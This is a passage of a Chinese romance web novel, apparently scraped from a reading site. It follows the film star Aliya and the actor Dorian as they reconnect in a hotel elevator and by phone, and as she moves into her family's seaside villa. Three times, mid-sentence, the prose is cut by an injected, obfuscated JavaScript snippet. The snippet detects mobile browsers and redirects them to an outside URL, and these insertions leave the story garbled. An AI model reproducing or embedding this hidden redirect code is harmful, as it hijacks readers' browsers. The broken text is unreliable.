多里安一脸怀疑自己听觉的表情:“哈?” 她顿时有些懊恼,这离奇的念头没经过大脑就说出来了。 多里安神色冷淡地立在原地,没有再主动开口的意思。 阿利雅扶额后退了一步,在心里默数,等待轿厢门自动关上。 分外漫长的五秒过后,金属门终于逐渐合拢,遮蔽住多里安的手臂、身体的一半、大半……直至终于快要完全看不见。 下一刻,电梯门再度打开。 “你到底进来还是不进来?”多里安皱着眉问。 “你先请。” “坐同一部电梯而已,你认真的吗?”他嗤笑,“你在怕什么?” “我应该怕什么?”她哂然反问,昂首迈入电梯,重重按下关门键。 轿厢门严丝密缝地闭合,内壁光滑的金属盒子无声上行。 也是这一秒,阿利雅才有了怪异的实感: 这是她和多里安在重逢之后,首次身处同一个密闭空间内部。 16.5-3 阿利雅瞥向电梯面板,目光一顿。 数字7已经点亮——她居然和多里安住同一层。 她立刻抬手按亮数字9。多里安侧目看她一眼,没问她打算在这个时间段去顶楼的海景露台干什么。 “你真的打算同意菲利普的拍摄计划?”阿利雅率先打破沉默。目标速战速决,在电梯抵达八楼之前结束对话。 “为什么不?”多里安似笑非笑,“既然有机会,我当然要见识一下传说中的博蒙特城堡。” 他戏剧性地停了半拍,而后才补上:“如果有人为了一栋古建筑放弃你,你也会好奇那堆石头究竟有多么大的魅力,不是吗?” 阿利雅闭了闭眼,就当没听懂他话里的嘲讽:“那么在拍摄之前,我和你之间的事最好处理干净。” 多里安抬起右边眉毛:“你指的是?” “如果我和你之间的气氛还是那么——”阿利雅卡壳了。 视线对上,她的词典每一页忽然都成了白纸,她索性放弃寻找精准的形容词。 “总之,会有人察觉的。有人已经发现了。伊娃不用说,凯蒂·萨金也注意到了不对劲。你和你的经纪公司都不会希望现在这个节点曝出丑闻。” 多里安闻言不置可否地耸耸肩。 叮,电子音播报:“七楼。” 时间掐得正好,她想说的都说完了。阿利雅不由自主松了口气。 但多里安一动不动。 “你到了。”眼见着轿厢门开始合拢,她立刻按下开门键。 “我们话还没说完。” 应和着他的话语,电梯门再度合拢。 “所以你打算怎么处理我们的事?我猜你已经有了具体方案。”多里安仍旧是带了淡淡嘲弄的口吻。 龙舌兰酒干燥而温暖的余韵推了阿利雅一把,她忽然之间无所畏惧,再无顾虑。 “不,应该是我问,你想要我怎么做?” 多里安眸光惊异地闪动。 阿利雅见状扯了扯嘴角:“就是字面上的意思。” 抵达酒店顶层,带着些许海洋气味的风迫不及待地挤进电梯。但谁都没有离开的意思。这方金属盒子成了可贵的安全地带、昏沉夜色中的避风港,只要踏出一步,有些呼之欲出的话语就可能被彻底吹散。 轿厢门沉默地再度关上。 电梯滞留九楼。 阿利雅吸了口气:“那时候是我对不起你,我们分开得……很不愉快,很仓促,什么都没能真的彻底了结,有很多情绪可能到现在都没能彻底消化。” 哪怕是此时此刻,只是稍稍在脑海中复习那个夏天最后一场争吵,她就忍不住想立刻切断思绪。 和碰到滚烫的水壶时一样,身体下意识缩手,试图远远逃开,但终究还是会被灼烧的痛楚追上。 “伊娃觉得你有感情创伤。不管她猜得对不对……我都不希望过去的事妨碍你获得幸福。”阿利雅试探性地朝多里安迈了半步,他没有避开。 他只是盯着她,谨慎并且狐疑。 他从阿利雅的眉眼观察到嘴角,解读肢体语言,再回到最容易判断真实情绪的眉毛……灰眼珠来回动着,时不时往电梯面板上的时间上斜掠,反复确认时间在以秒为单位流动——这一切是进行中的现实,而非过于真实的幻梦。 “我要怎么做你才可以释怀?”阿利雅想要深呼吸,却险些被自己呛住,“要怎么样,那个夏天……才终于可以了结?” 多里安突兀地笑了声。 “假如我不想要了结呢?” 阿利雅怔然启唇,未出口的追问淹没进电梯外猛然靠近的说笑声。 “下行。”电子音播报。 轿厢门开启。 有人来了。 糟了。阿利雅下意识一头扎进多里安怀里,把脸藏进他的衣襟。 多里安甚至来不及感到惊讶,想都没想就揽着她侧身,背朝轿厢门,用后背尽可能把她挡严实。阿利雅抓住即将从他臂弯滑落的西服外套,果断拉到头上遮盖住发色。 进电梯的是一对大声谈笑的年轻情侣。 “啊。”其中一人尴尬地冒出单音节。 另一人随即难以置信地抽了口气:“你是——” 国际影星也有国际影星的坏处,只露四分之一张脸也会被认出来。 明明这是她最想避免的状况……阿利雅紧紧抓着西装边缘,把头压得更低,恨不得整个人钻到多里安的衬衣下面。 触感和温度都熟悉的手掌在她腰际收紧,带着安抚意味。 多里安略微侧过脸,语调轻松:“如二位所见,我们这里有点事要忙,不介意的话,能不能请你们搭下一部电梯?” “当、当然……” 这对情侣讷讷地退了出去。 电梯门还没完全关上,阿利雅已经隔着西服听到了他们努力压低声音的兴奋议论。 “下行。” 自动播报的语音听上去从来没那么亲切过,阿利雅扯掉头上的遮蔽物:“他们看清我是谁了吗?” “明天早晨看ENX主页有没有我们的头条就知道了。”多里安毫无危机感地笑起来,眼睛发亮,浑似等待恶作剧结果揭晓的孩童。 阿利雅瞪他:“闭嘴。” 多里安心情比刚才明显好了许多,做了个听话拉上嘴唇拉链的动作,手在半空停顿了一下,转而挪到她的头顶,把一缕被西装外套带得翘起的头发捋顺。 也因为这个动作,阿利雅骤然意识到,他的另一边手臂还紧紧地环着她。 手臂内侧压着她的后背,五指仍然搭在她侧腰,胸膛贴着胸膛。 紧要关头阿利雅无心留意的细节忽然吵吵闹闹地合围过来: 因为发力紧绷而存在感鲜明的精瘦肌肉线条,已经变淡的古龙水味,透过轻薄夏杉烙下热意的肌肤,近在咫尺的、随时会乱掉节拍的呼吸,微微低垂的长睫毛,好像只映出她一个人的灰色眼瞳,抑制干渴似地抿了又抿的嘴唇…… 有鼓点贴着耳膜砰砰地急促连敲,阿利雅偏了偏头。 声音从身体内部来。原来是她的心跳。 多里安也跟着她偏了偏脑袋,像要用这种方式保持他们脸和脸之间的相对距离恒定。 “其实,我们完全可以装作被电梯关住了,发生故障的门打不开,幸好他们从外面按了下行按钮才突然好了。”他一脸认真,但阿利雅怀疑他都不知道自己在说什么。 “我确实有点醉了,但我还没不清醒到那个地步,你说的方法完全就是胡扯。没人会相信的。” “那么看来,还是现在这样最好。”不知道什么时候,多里安已经离她很近,后半句的吐息拂过她的嘴唇,只有这种距离才能听清楚的呢喃轻柔得犯规: “你觉得呢?” 阿利雅头晕目眩,好像一口闷掉又几杯龙舌兰酒,陈年的甘甜和辛辣最后都化作融融 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16548198|184066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暖意,包裹她,揽紧她,无法拒绝,抵抗意愿压根不存在。 “七楼。”电子音冷静地播报。 阿利雅一个激灵,别开脸。 与羽毛轻拂相近的触感滑过她的颊侧。 多里安僵住。她轻微地挣了一下,他立刻松手。 两人一前一后出了轿厢。套房楼层的冷气开得慷慨,凉风扑面而来,片刻前仿佛还在燃烧的血液陡然就回到体温范畴。 阿利雅和多里安都没看对方的脸,沉默地沿着电梯厅向前。 “我也住这层。”阿利雅走在前面,扔下这么一句加快脚步。 “我们的谈话应该还没结束。” “已经很晚了。除非你想进房间继续聊。”话出口阿利雅就抿紧了嘴唇。她毫无疑问喝醉了,不然怎么尽说些有歧义的话,刚才那一系列她不想细细回忆的尴尬插曲也要归咎于酒精。 身后的沉默让她愈发难堪。 “确实已经很晚了,不适合进房间喝咖啡了,”过了好半晌,多里安才有些生硬地重启对话,“之后继续?” 阿利雅点点头,顿了顿才问:“你在这附近待到哪一天?” 多里安像是这才想起来他还有排得爆满的行程:“明天早饭后我就得去机场。下次有时间来——” “手机号码。”她打断他。 他愣了一下。 “不愿意给也无所谓。” 多里安把到嘴边的话咽下去,只短促地呼气,而后直接摸出手机递给她。 阿利雅和他对视片刻,接过手机。 轻薄大于性能的机子型号,默认屏保,需要输入密码解锁。 她还没抬头问,多里安就淡淡道:“和以前一样。” 阿利雅的指尖擅自就动了起来,950322,解锁。 密码不是任何人的生日,1895年3月22日,现代影片发明人卢米埃尔兄弟第一次向国家工业促进协会成员放映16格影片的日子。 手机解锁。 阿利雅点进拨号页,用最快速度输入自己的号码,拨出,响两声后就挂断。 像是为了给自己找点事做,在她操作手机期间,多里安重新穿好了西服外套。 她作势把手机还给他,却半途突然抬腕,多里安就接了个空。 只是个打乱对方节奏的小小动作,阿利雅把手机滑进多里安西装左前胸口袋,轻轻推了他一记:“之后再聊。” 语毕她就转身,快步消失在了走廊深处。 多里安在原地静立了片刻,朝反方向离开。 回到自己的套间这不短不长的一段路,他都还算冷静。进屋后他把手机从前胸口袋里抽出来,随手往小吧台上一搁,脱了外套走进浴室。 感应灯亮起,占据整面墙的镜子忠实地映出多里安此刻的模样。 他立刻注意到白色衬衣领口前襟附近沾了一抹醒目的颜色。 他低头仔细端详:娇艳的冷玫瑰色,边缘因为刮蹭略微模糊,但依然能清晰辨认出唇印形状。 是阿利雅贴在他胸口时留下的。 多里安盯着这口红印看了片刻,蓦地抬头。 镜子里的人唇角弧度没来得及收敛,被抓个正着。 多里安往盥洗台上一靠,脊背脱力般弯折下去,脸埋进掌心。 长长的、叹息般的呼气用力,隐约带着恼怒,而后嘲弄的低语响起: “你真是没救了。” 17.5-4 “德·博蒙特女士,有您的礼物送达礼宾部。如果您同意的话,我们可以现在立刻送到您的房间。” “发件人是谁?” 电话另一头沉默了半拍:“发件人也是酒店住客,身份上没有安全问题,但他希望保持匿名。” 阿利雅顶着凯蒂好奇的目光喝了口水,稍加滋润突然变得干燥的喉舌,而后才开口:“送过来吧。” 凯蒂一早就心事重重,早午餐吃得心不在焉。她面前的酒店招牌香草煎蛋卷已经冷透了,却没动上几口。她巴不得用其他人的事转移自己的注意力:“有快递给你的文件?你们家那栋老房子的手续不是已经差不多办完了吗?” “是别的东西,”阿利雅莫名有点心虚,快速转移话题,“至于别墅那边,过几天我的经理人先带人过去查验,然后做一轮基本的清洁。没问题的话,下周我开完会回来,就能拿钥匙了。” “你房子都要到手了,我的结婚戒指还是‘预定排队’状态。”凯蒂挖苦了一句,却显然根本不着急拿到婚介。 昨晚在游艇上,凯蒂被熟人召唤过去之后就消失了整夜,今天早上她心绪不佳,期间肯定发生了什么。而且看样子,八成和她的婚约、或是萨金家内部矛盾有关。 阿利雅等了几秒,见凯蒂没有主动详谈的意思,就自然而然地带过这个话题:“对了,之后别忘了替我问候萨金先生,没有他牵线,这桩交易没法那么快谈下来。” 凯蒂摇头感叹:“如果每个买家都和你一样目标明确、出手爽快的话,就不存在会拖很久的交易。中介爱死你这样的客户了,真的。” 虽然视野上佳,但由于维护状况一般、地块面积也不大,外加得益于优秀的房产中介斡旋,德·博蒙特家的旧别墅最后以285万欧元的价格转手。再加上过户手续费、公证税和房产经理人佣金之类的杂项,阿利雅最后总计支出超300万欧元。 决意买下那栋房子本就象征意义大于一切,阿利雅甚至考虑过一口气全款付清。 ——潇洒利落地用大笔金钱切割过去和将来,让人生翻开新一页。有如不用计较片尾字幕滚完之后会发生什么的浪漫电影主角。 容易顺着情绪随意砸出大笔现金的大致有两种人: 一种是对财富缺乏概念的乍富之人。 另一种是富有到对数字彻底丧失敏感度的人。 阿利雅哪种都不是。 她从小生活在富裕世界的边缘,耳濡目染,多多少少了解这个世界的运作规则:怎么才能把同一笔钱花出最大价值,怎么平衡债资配置,怎么操作才能合法避税,诸如此类;一切都为了让握在手里的财富永远在手,并且持续增长。 与此同时,从她记事的时候开始,德·博蒙特家就金钱问题不断。 真的轮到自己支配金钱,阿利雅发现她也没法免俗,做不到一掷千金买个开心。 于是在理财顾问的强烈建议下,她最后还是选择了更常规、也更有利的长期低息抵押贷款方案。 她在这件事上的冲动主要体现在了另一个方面。 “不过,你确定你要立刻搬进去?那房子如果想好好整修,没个一年搞不定的。你觉得卡维拉无聊的话,我们可以到阿马尔菲海岸去待一阵。” “只是小住一个月,清理出一片居住区域,放点家具也能用了,之后再正式翻新。” 见阿利雅态度坚定,凯蒂就没有再劝:“反正圣波洛伊斯离我家也不远,等你安顿下来,可要邀请我去玩。” “一定。” 两人回到酒店七楼,正好碰见礼宾部工作人员推着小车往阿利雅的套间去。 推车上稳稳载着一个圆形水晶花瓶。 瓶中初绽的浅粉芍药与杏色茶香玫瑰错落,饱满的大花之间以清雅的白色洋桔梗点缀;几枝淡紫色的香豌豆从后冒出来,纤细的枝条和花瓣随着推车移动微微摇曳,掩映花朵的苍翠尤加利叶也跟着左右摆动,倒好像这一捧充满自然意趣的花束真的刚刚沐浴过田野的清风。 “哎呀,有人招来了爱慕者。”凯蒂见状打趣。 阿利雅笑笑:“我有我的魅力。” 凯蒂略微拉长声调:“所以——?你知道这位绅士是谁?” “或许吧。” 凯蒂站在门口,看着酒店侍者把花瓶仔细挑地方摆好,眼神时不时飘到阿利雅身上。等他们离开了,她才终于忍不住问:“我越来越好奇了,昨晚我真的没错过什么吗?” 阿利雅狡黠地偏了偏头:“不予置评。” 说完,她就阖上了房门,把凯蒂半真半假的抱怨声关在了外面。 ※ 阿利雅再度确认手机时间,刚过晚上八点半。她又一次回到最近通话界面,指尖悬停在凌晨2点42分的未接来电号码上方。 出于她无法解释的心态,她到现在依然没有把这个号码保存为联系人。 阿利雅回头朝会客厅中央的茶几看,水晶圆瓶里的花束笼罩在橙粉色的夕照中,色彩柔和得让她一瞬间就忘记了阻碍她挪动手指的顾虑。 拨出电话只需要十分之一秒,把听筒凑近耳朵的动作却更迟疑缓慢。 拨号音单调地循环,又循环,每一声之间挤进去的心跳拍数好像都比上一次要更多。 “当前号码无法接通,请在提示音后留——”语音信箱默认的机械音还没说完一句话,阿利雅就果断掐掉了电话。 她踱到阳台上走了几步,又快步转回室内,还没拿定主意该怎么解读这事,手机屏幕就蓦地亮起: 已经看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16582422|184066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得连数字形状都熟悉的号码来电。 阿利雅硬是等了好几秒才接起电话。 明明是她打过去在先,真的拨通电话,她反而不知道说什么好了。 一秒漫长的沉默。 “嗨。”多里安的声音响起,她差点吓一跳。她随之意识到,就是接个电话,她居然就紧张起来了。 “现在是不是不太方便?如果你那边还有——” “不,不是,没有,”多里安立刻连声否定,“我刚刚在开会,现在结束了。” “开到快九点的会……大明星真忙。” “过几天要拍下个月的杂志封,是电影宣传期的第一个单人封面,有些讨论会我实在逃不掉。好了,我不说这些无聊的了,”多里安说到这轻轻呼了口气,吐息声抵达阿利雅的耳畔,“所以……?” 他极度谨慎地抛出了一个算不上话头的话头。 她配合地回了一个稳妥并且合理的致电理由:“谢谢你的花。” “希望我挑花的眼光没有太差劲。” “我很喜欢。芍药,洋桔梗,还有香豌豆……都是我喜欢的。” “嗯。” 由此联想到一些周末鲜花集市的回忆太过轻易,两个人都没立刻开口。 阿利雅微微仰头,主动打破沉默:“为什么想到送花给我?” 多里安笑了声:“必须有理由才能给你送花?” “那倒不是。但我有点好奇,”她缓缓地坐到了长沙发的边角上,“当然,假如你不愿意满足我的好奇心,就当我没问。” “那你就当是这样好了——今天我在去机场的路上,恰好经过一家看上去很不错的花店,那家店恰好进了一批很不错的新鲜花材,里面偏巧有你喜欢的种类,我于是恰好想到你。” 多里安说到这里有点坏心眼地停住。 阿利雅忍住发问的冲动,只深深吸了口气,往话筒里输送了一串杂音。 对方好像轻轻笑了声,离话筒有点远,听不分明。 再开口的时候,他又是一本正经的认真陈述语气:“那么多的巧合叠加在一起,我不做点什么就太不像话了。所以我拜托那家店友善又有才华的花艺师组了一捧花束,加急送到你这里。” “你确定你希望我相信这个版本?” 多里安好像真的思索了片刻:“那么这么说好了,这束花是专门定制的谢礼……” 阿利雅侧首看向他们正在谈论的这份礼物,芍药只是大半天就满开了,浮动满室的馥郁幽香想忽视都难。模模糊糊的猜想在多里安语句之间的空隙中浮现: “答谢你给我你的电话号码。 ”他这么说。 但这份礼物不仅如此。 他还给了她一个主动联系他的正当理由。 18.5-5 拿到她的电话号码有什么值得道谢的?他就那么想要她的联系方式?为什么? ——直抵关键的追问就在阿利雅的舌尖。 如果她说出来,遮掩的魔法就会失效,她和多里安之间那头不曾真正现形的庞然大物就再无法视而不见。 但她还没准备好。 譬如出口就会失效的愿望,还有见光便消散的胶片影像,某些事物只有假装察觉不到,任由它继续徘徊在明与暗之间的灰色地带,才能存续更久。 阿利雅觉得,她和多里安之间堪堪抽芽的崭新暧昧正是这样的东西。 “这是从哪部电影里借来的台词吗?看来你没少演爱情电影。”她于是摆出坦然的态度,把刚才那个让人心跳加速的瞬间定性为玩笑。 多里安沉默了半拍。 “现在我相信了,你是真的完全没留意过我演的片子,”他转而叹息,声音里掺着半真半假的不悦,“除了我严格意义上参演的第一部商业电影,我就没接过纯爱情电影的角色。” “我说过的,我还不是你的影迷,”阿利雅把膝盖靠近胸口,缓缓在沙发上团了起来,“不过,今天晚上我有时间,我可以考虑看个电影。” 多里安好像在明知故问;“那你想看什么?” “或许我可以补一下你的作品。” 多里安没说话,只听得到他的呼吸声。 “有推荐吗?” 多里安认真思考了片刻,轻声说:“都可以。大概……除了《余兴派对》。” 阿利雅不禁用力抓紧手机。她的嘴唇分开又合拢,重复数次之后,只吐出一个单音节:“嗯。” 电话两端不约而同地沉寂下来。 直至多里安那头猛地传来几声急促的汽车鸣笛,而后是含糊的怒骂。琐碎的生活噪音像掉落冰面的小石子,一下子击碎封住两人的滞重寂静。 “酒店在市中心,下面有车追尾了,我关个窗。” 背景音很快安静了下来,多里安呼了口气。这小插曲降临的时机恰到好处,他很自然地换了个话题:“我还没问,你今天过得怎么样?” “没什么大事,但最近我有个私人项目有点进展,马上可以进入下个阶段了。” 阿利雅说的当然是德·博蒙特家在圣波洛伊斯的旧别墅。 “听上去很神秘,”多里安等待了须臾,她没有透露更多,他就没继续打探,转而询问,“之后几天,你还住在同一家酒店吗?” 心脏忽然像是挨近了喉咙口跃动,她尽可能稳住声音:“为什么这么问?我该在这多住几天吗?” 多里安叹了口气:“很遗憾,我这周日程已经排满了,这边拍摄结束之后我就得飞伦敦,有个围读会。” 阿利雅一瞬间说不清她是感到失落,还是松了口气:“那你问我的日程干什么?” 对面狡猾地回避着正面应答:“好吧,我换个问法,明天你还住在同一家酒店吗?” “你……”她因为脑海中冒出来的猜测停了停,“如果我说是,明天我是不是会收到新的匿名花束?” 多里安听上去很无辜:“我什么都没说。” 阿利雅侧首望向今天收到的花束,光线昏暗,那柔和鲜嫩的颜色已经看不分明。 她这才发觉,在他们说话期间,太阳悄然沉到了海的对侧。外面铺天盖地是沉静如海的蓝,湛然的冷光与夜晚的涨潮声一同漫进房间。 稀薄的凉意浇灭头脑晕乎乎的热度,阿利雅冷静了一些,同时有些后知后觉的惊慌。 无伤大雅的调笑与真情投入的亲昵之间界线模糊,稍不留意就会越界。而她现在最不想要的就是第二次不明不白的开始。 “多里安,你不需要这么做的……”她轻声说,“就算你不继续送花,我也不会突然断联消失。” 多里安明显因为她倏地降温的态度困惑。他不由自主用上辩护的语气:“我送花,也只是因为我想要那么做。” “我不在质疑你的动机。只是……”阿利雅起身关上露台门,又从沙发上找到羊绒披肩裹住自己,“在我们好好面对面谈过想清楚之前,我希望慢一点来。” 她抿了抿干燥的嘴唇:“你明白我的意思吗?我不希望任何人受伤。” 多里安这一次沉默的时间比之前更久。 阿利雅抓紧了披肩的边缘。 气氛原本很好,她完全没必要说这些煞风景的话。 但和多里安在一起就如同驾驶跑车全速下陡坡。 引擎燃烧的是爱吗?也可能是情|欲,所谓化学反应,无法战胜的生理吸引力。 失控的俯冲一旦开始,理性、得失、道德之类的东西就被甩得不见踪影。过去和未来都是模糊的风景,哪怕知道疾驰的尽头是毁灭,真实的、唯一重要的依然只有两个人的此时此地。 她必须在理智尚存的时候减速刹车。 终于,多里安深吸一口气:“放轻松,只是鲜花而已。最老派的做法第一步也是送花,不是吗?” 他稍加停顿后退让:“当然,如果更多的花会让你困扰——” 对方这么好说话,阿利雅反而不自在起来,甚至有一点微妙的歉疚。 “不,今天本来就是我在这的最后一晚,之后几天我要回去处理基金会的事,不太方便收东西,”她放缓语气,“但这束花我会好好照顾。我保证。” 多里安那边隐约响起门铃似的声音。 “我的助理来检查我有没有按时吃药睡觉了,”多里安有些无奈,他一边走动,一边压低声音继续说,“今天大概就到这里了。” 这通电话就平和却也突然地结束了。 之后几日,多里安极为忙碌,和阿利雅发消息也明显是见缝插针地挤时间。她就没有主动再给他打电话。况且离开蔚蓝海岸之后,她也有自己的事要忙。 八月初的城堡基金会理事会会议没出什么波澜。 亨利死后,阿利雅的法律团队和亨利公司的董事会为了股权和经营决策权,明里暗里地撕扯了近三年,她从中习得的经验用来摆平家族基金会甚至有点浪费。即便如此,她还是比预计晚了两天再度南下。 目的地当然是海滨小城圣波洛伊斯,她新购置的别墅所在地。 略带咸味的风从车窗缝隙钻进来,吹起阿利雅额角的碎发。她把车窗往下调得更大,外面就是沿海公路,急速倒退的海岸线秀丽得令人着迷。 许多年以来,阿利雅第一次为奔赴夏日的海滨有些雀跃。就连她素来讨厌的灼热阳光都是亲切的。 毕竟在她的记忆里,德·博蒙特家的夏天从来不是真正的假期。 在海边度假与轻松愉快无关,假期结束时带着日照亲吻过的小麦色皮肤回家是一种‘上流’的义务,一种彰显身份的表演。 于是,即便德·博蒙特这个姓氏早已只剩下空壳,阿利雅的双亲还是固执地年复一年在夏天南下,有如抱团迁徙的孤鸟。 阿利雅的祖母在海边有一座小房子,雨季为漏水困扰。但因为它靠近一片幽静的海滩、景致不错,对外描绘为度假别墅也算勉强合格。 小阿利雅每年被反复叮嘱,不经大人同意,不能邀请朋友来玩,到别人家做客的频率也受严格控制。 后来她到凯蒂那样的假日朋友家玩过几次,发现许多看似与她家境差不太多的孩子都无需和陌生人共享沙滩和阳光。 阿利雅于是理解了自家的境况,隐隐约约,以孩童懵懂的方式。 她没什么不满的日常生活,原来在父母、在许多人眼中远远不足够。 不止是度假条件,阿利雅的双亲对德·博蒙特这个姓氏常觉亏欠。 ‘他们本该如何如何’,‘如果他们仍然富有并且受尊敬就不会如此这般’,‘为这样那样的事操心其实有失身份’…… 这种怨气从最寻常的生活琐事中溢出来,无处不在,无孔不入,像浸泡透鞋子的雨水,隔了数个晴天仍然会冷不防地从鞋底渗进袜子,让人一个激灵。 而现在,双亲描绘过太多次的理想夏日好像终于可以成真了。 公路随着海湾的曲线内折,轿车驶入俯瞰海岸的高地。圣波罗伊斯城中心要再往西驾车二十分钟,这一带郁郁葱葱的林木之间都是错落的私宅。 阿利雅购回的海滨别墅就在这里。 这座名为银柏之家的三层小楼地基可追溯到19世纪中叶,主体于上世纪初推翻重建,请了当时有名的建筑师设计,是德·博蒙特家兴修的最后一个不动产项目。 在阿利雅出生前,银柏之家已经转手他人。而从询价到完成交易,她一次都没有实地参观过,把评估房屋状况之类的事全都交给专业人士,就连房屋照片都没仔细看。 有意无意地,她在推延与银柏之家正式见面的时机。 她从小听过太多关于银柏之家的描述,对父亲有过美好夏日回忆的海滨别墅有自己的想象。如果在成交前造访,她很怀疑自己会因为过于失望进而放弃。 轿车驶到小路尽头停下,阿利雅深呼吸,而后才下车。 别墅花园疏于维护,如今只大致做了除草工作,加上是干燥的夏季,有些光秃秃的。阿利雅目光从草皮上掠过,落定在米白色的小楼上。 原本攀爬满墙的常春藤清理过了,于是乍一瞧,银柏之家和她签合同时看过的照片很不一样。 可这又确实无疑是存在于双亲言语描绘里的那栋房子: 别墅外墙尚未重新粉刷,破损处露出岩石本貌,但阳光照射下,仍旧可以辨识出微微泛绿的独特调色。鸽子灰的斜坡屋顶之下,瘦长纤细的拱形窗户两两挨着。通向正门门廊的台阶有明显裂口,据说是战时被军队征用后重军械搬运留下的痕迹…… 阿利雅缓慢拾阶而上,正门已经换了电子锁,她解锁走进去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16603825|184066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 上任屋主的家具基本全部回收,室内空荡荡的,却也因此显得宽敞整洁。提前送到的一个行李箱立在螺旋楼梯侧面,像在站岗。 阿利雅请司机把她随身的两个行李箱提上二楼,独自在底楼转了转。 厨房的采光好极了,一张古旧的橡木长餐桌横在正中。阳光将空气中浮动的灰尘照得纤毫毕现,包括慢悠悠地朝着桌面降落的那些。 阿利雅模模糊糊地记起来,父亲骄傲地提过,厨房的桌子比这栋别墅年纪更大。它好像原本属于这个教区的某间修道院,几经辗转搬进了原本伫立在此的德·博蒙特老别墅,是为数不多重建时留下的老物件。 这或许是她出生以来,距离德·博蒙特这个姓氏的悠久历史物理距离最近的一次。 阿利雅低下头,伸手轻轻抚摸桌面深深浅浅的凹痕,神色融化藏匿在强盛的午后日光里。 听到下楼的脚步声,阿利雅立刻站直了。她转身时神色平静:“把花放在这里吧。” 几分钟后,司机抱着她入住的最后一件行李走进厨房: 圆形的水晶花瓶,茶香玫瑰和洋桔梗之间错落插着尤加利叶。花朵都已经满开了,但因为养护得当,只在花瓣边缘略有衰败的暗色。 阿利雅把花瓶挪来挪去,好半天才终于满意。 她随即后退两步,欣赏了一下自己的装置艺术作品,再回头看了看已经只剩她独自一人的宅子,轻轻地呼出一口长气。 她缓步走动起来,像要用脚步切实丈量这里的每一寸地面。 银柏之家的每根柱子、每扇窗户都与阿利雅的姓氏有那么一些关联,但又因为曾经转手卖给他人,历史的重荷被拦腰裁断,她并不感觉沉重。 新鲜的实感缓慢地渗透她,像水珠滋润土地:这里是独属于她的、由她做决定、仅有她存在的空间。 怀着这种奇妙的心情,阿利雅上到二楼。西侧的房间还没清理完毕,东边的卧室仔细重新布置过,侧卧则暂时用作储物间。三楼是阁楼层,和地下室一样,都只是清理掉了前业主旧物,有待修缮,没什么好看的。 阿利雅巡视领地似地逛完了整栋别墅,又漫无目的地逛回了厨房。 窗格的影子斜斜在橡木桌面拉长,茶玫瑰和洋桔梗仍然在桌上安静绽放。 不可思议,但这个瞬间,她居然觉得,这个夏天到了此次此刻才真正开始。 找了个合适的角度,以窗户外的蓝天和厨房斑驳的墙面为背景,给长桌上的花拍照,而后点开手机消息页面,上传照片,发送。 几乎是立刻,对面就冒出了输入中的气泡图标。 ‘这是第几天了?你真的把它们照顾得很好。’后面跟着一个略显夸张的惊愕猫咪meme. 阿利雅噗嗤笑了声,回复道:‘说到做到。’ 这次‘输入中’的气泡反复闪现了好几次,却迟迟没有吐出新消息。 她就向上滑动屏幕。来往的短信数量并不算多,一天几条,但每天都有她发送的一张花卉照片:同样的圆形水晶花瓶,以及随消息时间轴逆行,越来越繁茂饱满的花束。 阿利雅消息还没翻到头,手机微微一震,有来电。 “你的照片换背景了,我能问你现在在哪吗?”多里安一上来就发问,略过开场白,自然得像是他们的对话就没中断过。 “南边,海岸附近一个叫圣波洛伊斯的小城,你大概没听说过。” 多里安笑了:“猜错了。我拍戏在那附近待过一天。” “我不该怀疑演员的见闻广博程度。”阿利雅转身靠在桌子边沿。 “你的朋友们也在?” “不,我一个人。” 多里安惊讶地停顿了须臾,才冒出一个声调颇为丰富的“噢。” 很难解读他这算是什么情绪。阿利雅努力分辨电话另一头的环境噪音:“你现在又在哪?听起来有点热闹。” “机场。” 阿利雅怔了怔:“噢,你从伦敦回来了。” 多里安没立刻说话,从他的呼吸声判断,他似乎在走动。而后他又按住话筒,和身边人交谈了片刻,具体内容无法分辨。 再次开口时,他的语气认真极了,甚至称得上严肃: “年底我有两个进度不同的项目同时推进,再加上《玛蒂尔达》的宣传。所以从现在开始,到月底首映,这三周会是我今年——不,至少明年3月之前,我最后也是唯一的长假期。 “你应该知道我为什么说这些。” 阿利雅下意识抓紧了桌子边沿。 “如果乘民航班机,到卡维拉的下个航班是一个小时后,从卡维拉到圣波洛伊斯的车程是,我看看,一小时四十分钟。就算加上处理狗仔队的时间,也完全来得及。所以,我需要知道的只有一件事。” 心跳声分外响亮的两拍停顿。 “你希望我过来吗?” 19.6-1 只是这么一句话,就让她想要颤抖。 她没有办法不爱他,阿利雅有一点挫败地想。 多里安闯进她人生的时机总是致命地凑巧。 五年前,她才下定决心制造一个充满炽热爱恋的夏天,他就凭空出现。而现在,暌违许久,她第一次开始相信崭新的生活等着她,他又在合适的时间点到来了。 不讲道理,也不需要理由。有如天赐的礼物,必须珍惜的奇迹。 好像不去爱他才是一种过错。 